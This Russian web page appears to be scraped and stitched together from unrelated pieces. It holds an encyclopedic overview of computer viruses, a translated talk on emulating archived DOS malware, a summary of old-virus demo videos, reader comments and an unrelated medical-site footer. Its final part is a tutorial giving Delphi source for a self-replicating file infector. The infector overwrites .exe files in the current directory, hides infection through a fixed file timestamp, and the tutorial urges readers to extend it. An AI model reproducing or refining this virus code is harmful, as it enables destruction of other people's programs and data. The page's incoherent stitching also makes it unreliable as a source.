Как написать вирус в dos


Начало исходного кода примитивного вируса для MS-DOS на языке программирования Ассемблер

Компью́терный ви́рус— разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру.

Даже если автор вируса не программировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы обычно занимают некоторое место на накопителях информации и отбирают некоторые другие ресурсы системы. Поэтому вирусы относят к вредоносным программам.

Неспециалисты ошибочно относят к компьютерным вирусам и другие виды вредоносных программ — программы-шпионы и даже спам. Известны десятки тысяч компьютерных вирусов, которые распространяются через Интернет по всему миру.

Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному кодексу РФ (глава 28, статья 273). Согласно доктрине информационной безопасности РФ, в России должен проводиться правовой ликбез в школах и вузах при обучении информатике и компьютерной грамотности по вопросам защиты информации в ЭВМ, борьбы с компьютерными вирусами, детскими порносайтами и обеспечению информационной безопасности в сетях ЭВМ.

Классификация

Ныне существует немало разновидностей вирусов, различающихся по основному способу распространения и функциональности. Если изначально вирусы распространялись на дискетах и других носителях, то сейчас доминируют вирусы, распространяющиеся через Интернет. Растёт и функциональность вирусов, которую они перенимают от других видов программ.

В настоящее время не существует единой системы классификации и именования вирусов (хотя попытка создать стандарт была предпринята на встрече CARO в 1991 году). Принято разделять вирусы:

по поражаемым объектам (файловые вирусы, загрузочные вирусы, скриптовые вирусы, макровирусы, вирусы, поражающие исходный код);

по поражаемым операционным системам и платформам (DOS, Microsoft Windows, Unix, Linux);

по технологиям, используемым вирусом (полиморфные вирусы, стелс-вирусы, руткиты);

по языку, на котором написан вирус (ассемблер, высокоуровневый язык программирования, скриптовый язык и др.);

по дополнительной вредоносной функциональности (бэкдоры, кейлоггеры, шпионы, ботнеты и др.).

Распространение Механизм

Дискеты. Самый распространённый канал заражения в 1980—1990-е годы. Сейчас практически отсутствует из-за появления более распространённых и эффективных каналов и отсутствия флоппи-дисководов на многих современных компьютерах.

Флеш-накопители (флешки). В настоящее время USB-флешки заменяют дискеты и повторяют их судьбу — большое количество вирусов распространяется через съёмные накопители, включая цифровые фотоаппараты, цифровые видеокамеры, цифровые плееры (MP3-плееры), а с 2000-х годов всё большую роль играют мобильные телефоны, особенно смартфоны. Использование этого канала ранее было преимущественно обусловлено возможностью создания на накопителе специального файла autorun.inf, в котором можно указать программу, запускаемую Проводником Windows при открытии такого накопителя. В Windows 7 возможность автозапуска файлов с переносных носителей была отключена.

Электронная почта. Обычно вирусы в письмах электронной почты маскируются под безобидные вложения: картинки, документы, музыку, ссылки на сайты. В некоторых письмах могут содержаться действительно только ссылки, то есть в самих письмах может и не быть вредоносного кода, но если открыть такую ссылку, то можно попасть на специально созданный веб-сайт, содержащий вирусный код. Многие почтовые вирусы, попав на компьютер пользователя, затем используют адресную книгу из установленных почтовых клиентов типа Outlook для рассылки самого себя дальше.

Системы обмена мгновенными сообщениями. Здесь также распространена рассылка ссылок на якобы фото, музыку либо программы, в действительности являющиеся вирусами, по ICQ и через другие программы мгновенного обмена сообщениями.

Этот пост является текстовой версией выступления, которое я провел на 35-м Chaos Computer Congress в конце 2018 года.

  • DOS — это одна из версий CP/M, еще одной очень старой операционной системы
  • Семейство DOS охватывает широкий спектр поставщиков, просто потому, что это DOS, не означает, что он будет работать на 8086 CPU или лучше
  • Некоторые из этих поставщиков DOS имеют совместимость API, а это означает, что некоторые из них используют вредоносное ПО!





Пост написан при поддержке компании EDISON Software, которая разрабатывает приложение для виртуального мобильного оператора и занимается разработкой и сопровождением сайтов на Python.


Но на самом деле, большинство наших воспоминаний об эре DOS — это эстетика того, как выглядели компьютеры того времени:



У некоторых из нас могут быть воспоминания об использовании DOS, а некоторые все еще могут использовать DOS!



Мы также не можем пропустить QBASIC, для многих это было бы их первым знакомством с программированием!

Но иногда жизнь с использованием DOS была не так хороша, иногда вы использовали DOS, и внезапно происходили подобные вещи. В этом примере проигрывается небольшая мелодия во время печати, так что это может быть очень неловкой ситуацией в офисной среде.

Благодаря куче архивистов для вредоносных программ, работающие под названием VX Heavens, у нас есть хороший исторический архив вредоносных программ DOS, или, по крайней мере, до тех пор, пока украинская полиция не совершит рейд на сайт:

К счастью, на популярных торрент-сайтах все еще есть копии базы данных сайтов, которые могут предоставить нам прекрасный набор данных:


Однако, чтобы начать изучать эти образцы, нам нужно сначала понять типичный поток распространения этих образцов, учитывая, что эти программы работали в доинтернетную эпоху:


После того, как вы получите зараженный файл в своей системе и запустите его, вредоносная программа будет либо активно искать, либо устанавливать перехватчики системных вызовов для программ, которые вы запускаете. Он часто делает это тонким и невидимым способом, чтобы избежать обнаружения. Важность тонкости важна, поскольку для распространения этой вредоносной программы необходимо либо передать ее в другую систему с помощью носителя (дискеты), либо загрузить в другую точку распространения, например BBS.


Во время выполнения вредоносная программа имеет два варианта; она может либо оставаться скрытой и заражать новые файлы, либо отображать полезную нагрузку.

Некоторые полезные нагрузки довольно красивые! В приведенном ниже примере используются необычные функции, такие как 256 цветов:

Или этот, который играет с вашим буфером экрана:


Однако по большей части вредоносная программа будет молчать и пытаться найти файлы для заражения. Заражение большинства файлов очень простое, например, если вы просматриваете COM-файл как длинную ленту машинного кода:




Однако, ранее, я также упомянул перехват системных вызовов. Несмотря на то, что среда выполнения MS-DOS очень проста и практически не защищена (вы можете тривиально загрузить Linux из COM-файла). Она по-прежнему содержит полный API, чтобы приложениям не требовалось иметь собственной реализации файловой системы. Вот как выглядят некоторые функции syscalls:


Они работают, вызывая программное прерывание, в котором программа попросит процессор перейти к другому разделу системной памяти для обработки чего-либо:


Однако MS-DOS также предлагает возможность добавлять/изменять эти вызовы (с помощью другого вызова), позволяя расширить систему, чтобы новые драйверы могли загружаться во время выполнения. Однако это также идеальное место для добавления перехватов вредоносных программ:



Как мы видим, здесь есть два вызова типа int . Мы используем 21h (h = hex) в качестве основного номера системного вызова, и мы можем указать, какое действие мы хотим, чтобы MS-DOS выполнял, на основе значения Ah


В этом случае программа делает вызов для печати строки, а затем завершает работу с кодом возврата 0 (неустановленным).

Как уже упоминалось ранее. Когда вы вызываете int 21h, центральный процессор будет искать в таблице IVT, куда переходить, внутри этого обработчика часто находится сегмент типа маршрутизатора, который направляет различные основные вызовы, в случае Int 21h он направляет к различным функциям на основе значение ah. Как только мы доберемся до места, фактический обработчик вызова будет иметь дело с поставленной задачей, затем он запустит iret, чтобы вернуться к выполнению основной программы, часто оставляя после себя регистры о результатах вызова:

Так. Если мы хотим увидеть все системные вызовы, которые запускала программа, мы можем установить точку останова на начало обработчика прерываний и проверить, каково значение ah:


Мы делаем это потому, что обработчик прерываний всегда находится в фиксированном месте в MS-DOS (это намного раньше эры ASLR и Kernel ASLR), а местоположение программы — нет.


Как только мы запустим его, мы сможем увидеть вызовы, сделанные этим образцом. В то время как мы можем видеть на экране, что он только распечатал уведомление о файле Goat (Goat — это файл, предназначенный для заражения, как жертвенный козел). Мы также видим, что эта программа делает больше, чем просто печатает строку. Он проверяет версию DOS (вероятно, для проверки совместимости), а затем открывает, читает и записывает данные!


Это интересно! Но мы хотели бы узнать больше о том, что делают системные вызовы выделенные красным, так как они должны иметь входные данные для таких вещей, как имена файлов и данные для записи в файлы/вывод на экран.

Для этого нам нужно взглянуть на другие регистры во время syscall:



Что такое DS:DX? Почему здесь два регистра, и как мы получаем данные из них?

Для этого нам нужно немного больше понять о процессоре 8086.


Процессор 8086 — это 16-битный ЦП, но с 20-битной адресацией памяти. Это означает, что процессор может хранить только значения, которые указывают на 64 КБ, это проблема, когда объем памяти составляет до 1 МБ.

Чтобы обойти это, нам нужно понять регистры сегментации:


Процессор 8086 имеет 4 регистра сегментации, о которых нам нужно позаботиться:

  • CS — сегмент кода
  • DS — сегмент данных
  • SS — сегмент стека
  • ES — дополнительный сегмент (на случай, если вам понадобится еще один, чтобы обойти разные ситуации)

Существует целый ряд других регистров общего назначения, которые избавляют вас от чрезмерного использования памяти и позволяют передавать параметры другим функциям.
Сегментация регистрирует работу, меняя блок в ОЗУ:

Это позволяет 16-битному ЦП видеть все 20 бит ОЗУ, гарантируя, что для каждого значения DS блок смещается на 16 байтов.


В случае этого вызов DS используется в качестве указателя внутри 16-битного окна относительно того, где находится начало строки. Затем строковый принтер будет сканировать, пока не найдет символ $, а затем остановится. Это похоже на другие системы, которые используют нулевой байт вместо $.

С возрастом ISA x86 мало что изменилось, вместо того, что размер битов процессоров вырос, те же регистры стали шире.


С помощью этой настройки мы можем бросить несколько больших компьютеров на проблему на несколько часов и собрать результаты!



We burned at least a hamsters worth of power and got almost no cool activations! (Хз, как это перевести)


Если мы посмотрим на некоторые образцы, мы увидим здесь дымящийся пистолет. Приличный кусок образцов проверяет дату или время.

Если мы посмотрим на документацию для этих вызовов, то увидим, что системный вызов возвращает значения в виде регистров для программы:


Таким образом, мы можем брутфорсить их! Все, что нам нужно сделать, это что-то вроде этого:


Но есть одна проблема с этим методом.


Этап тестирования примера занимает около 15 секунд, поскольку в нем используется полный процесс эмуляции qemu, и для полного запуска программы в виртуальной машине может потребоваться до 15 секунд. Так как DOS не имеет функций энергосбережения, это означает, что когда DOS находится в режиме ожидания, он находится в занятом цикле

Таким образом, мы могли бы взглянуть на эту проблему по-другому, посмотрев, какой код будет выполняться после запроса даты/времени.

Поскольку наш трассировщик находится в обработчике прерываний, мы не знаем из коробки, где находится программа:


Для этого нам нужно взглянуть на стек, где нас ожидают регистры CS и IP!


Как только мы возьмем эти два регистра из стека, мы можем использовать их для получения кода возврата, чтобы наш контрольный список выглядел следующим образом:


После того, как мы сделали это и повторили тестирование набора данных, мы увидим, как выглядит часть кода возврата!


Вот образец одного. Здесь мы видим, что проводится сравнение для DL и 0x1e.


Если мы посмотрим на нашу документацию, то увидим, что DL — это день месяца, то есть мы можем проанализировать три верхних кода операции следующим образом:


Мы могли бы пойти и вручную просмотреть все это, но есть много этих образцов, которые проверяют время, около 4700:


Поэтому вместо этого нам нужно сделать что-то другое. Нам нужно что-то написать… Нам нужно написать …


Наихудший в мире эмулятор x86, получивший название BenX86, — это эмулятор, разработанный именно для наших нужд, и не более того:


Но у него есть некоторые преимущества в его скорости



Мы добавили 10 тыс. различных тестов выполнения, основанных на путях, которые мы нашли с помощью брут форса с использованием BenX86. Итак, я закончу с некоторыми из моих любимых открытий, которые активированы временем:

Этот образец активируется в день нового года и вешает вашу систему после отображения приветствия. Это может быть хорошо, если вы застряли в офисе на новый год, или может быть плохо, если вам действительно нужно что-то делать в новогодний день


Этот пример меня очень удивил. Он активируется в начале 1995 года и информирует пользователя обо всех зараженных файлах, которые он заразил, а затем удаляет вирус(удаляя переход в начале), а затем больше ничего не делает. Хотя по какой-то причине в нем говорится, что вы должны купить McAfee, очевидно, что это сообщение не устарело.


Это, возможно, мой кошмарный сон, когда после запуска любой программы, это вывод сообщения о том, что она не смогла съесть ваш основной диск. Это было бы невероятно тревожно видеть на ровном месте.


Заканчивая, у нас есть то, что есть Navy Seal Copypasta версия вредоносного ПО для DOS. Не уверен, что этот автор не любит Аладдина, но что бы вы ни делали, вы, человек.

Если вас интересует код, который запускался в этой статье, я выпустил свой инструментарий на github, без каких-либо гарантий. Если вы хотите создать этот код самостоятельно, вам нужно будет поработать, чтобы убедиться, что он работает с вашей установкой MS-DOS ( исправление точки останова обработчика)


На своем YouTube-канале danooct1 Дэниель Уайт уже пять лет собирает видео с демонстрацией работы старых вирусов. На сегодняшний день он записал уже 450 штук; испытанные им вирусы охватывают период с MS-DOS до конца 90-ых и расцвета Windows, и в то время как одни из его видео вызывают ностальгию по прошлому, другие удивляют.

Под катом — анимации, демонстрирующие работу некоторых из вирусов, разработанных для MS-DOS. Осторожно, трафик.

Virus.DOS.Phantom1, несмотря на угрожаюжие надписи, на самом деле не причинял никакого вреда — он всего лишь включал свою заставку через 20 минут бездействия компьютера.

А вот Markt DOS Virus, например, не только выглядел устрашающе, но и форматировал диск C:…

Каждый год 29-го апреля Ithaqua DOS Virus устраивал небольшой снегопад:

Из Virus.DOS.HHnHH тоже получился бы неплохой скринсейвер:

CMOS DOS Virus помимо заставки на весь экран сбрасывал все настройки CMOS, а в случае нажатия Ctrl+Alt+Del — еще и форматировал жесткий диск.

Virus.DOS.Plane умел спускать на командную строку парашютиста

"Поверхность Марса", творение француза Spanksa, вирусы которого не портили данные или железо, больше напоминая творения демосцены.

Среди видео есть и более знакомые экземпляры — к примеру, старый добрый Virus.Win9x.CIH

Подборку из 15 вирусов для MS-DOS можно посмотреть в статье Wired, а все остальные — на YouTube-канале.

Ой, у вас баннер убежал!

Присылаем лучшие статьи раз в месяц

Скоро на этот адрес придет письмо. Подтвердите подписку, если всё в силе.

  • Скопировать ссылку
  • Facebook
  • Twitter
  • ВКонтакте
  • Telegram
  • Pocket


Похожие публикации

  • 1 апреля 2015 в 11:46

AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Комментарии 71

демоверсии всех популярных тогда вирусов

Неповторимые ощущения! Непредсказуемые и качественнейшие завесы!
Каждый день — праздник (когда компьютер не грузится, и, следовательно, не
может грузить Вас)! Все это привнесет в Вашу жизнь новый качественный
вирус Vir v.1.0 rus (или просто Vir rus)!

На горе лежит дискета
У неё запорчен boot.
Через дырочку в конверте
Её вирусы… грызут.

Глубокий, знаете ли, сакральный смысл в каждой строчке. Даже про дырочку в тему.

Помню, как я подцепил OneHalf и обнаружил его по задержке во время загрузки компьютера. В те времена я очень внимательно следил за поведением компа во всех режимах. И вот, начиная с какого-то времени, комп при начале загрузки винды стал давать задержку около 1 секунды, при этом горел светодиод активности диска. Я поначалу подумал, что это винт сыпется — стал его тщательно проверять всем доступным софтом. Проблем не обнаружилось. В конце концов антивирусная проверка показала наличие OneHalf. Повезло, что он к тому времени еще не успел зашифровать половину диска. Все вылечилось.

А вирус пришел на дискете от друга, довольно компетентного в компьютерах, так что я совсем не ожидал, что он сам заразится таким классическим, на то время, вирусом.

Вспомнил, у каспера это было: old-dos.ru/dl.php?id=2563


Ага, забавно, ужасно интересно было читать в детствие про всех этих зверей. OneHalf однажды имел на своей машине.





Создатели вирусов их делали не ради денег — в этом была какя-то магия.

Чего стоил только механизм заражения системы, при котором даже загрузка с чистой дискеты и проверки всех чек-сум файлов и загрузочных областей не выявляли ничего, а между тем вирус был и при загрузке компьютера снова начинал свою работу.

Примечательно еще то, что среди них было негласное правило — вирус не должен был мешать работе пользователя и уж тем более содержать в себе какие либо деструктивные функции.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле

CloseFile - _lclose и CloseHandle - закрывает открытый
файл

Erase - DeleteFile - удаление файла

FindFirst - FindFirstFile - поиск файла по критериям

FindNext - FindNextFile - поиск следующего файла

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции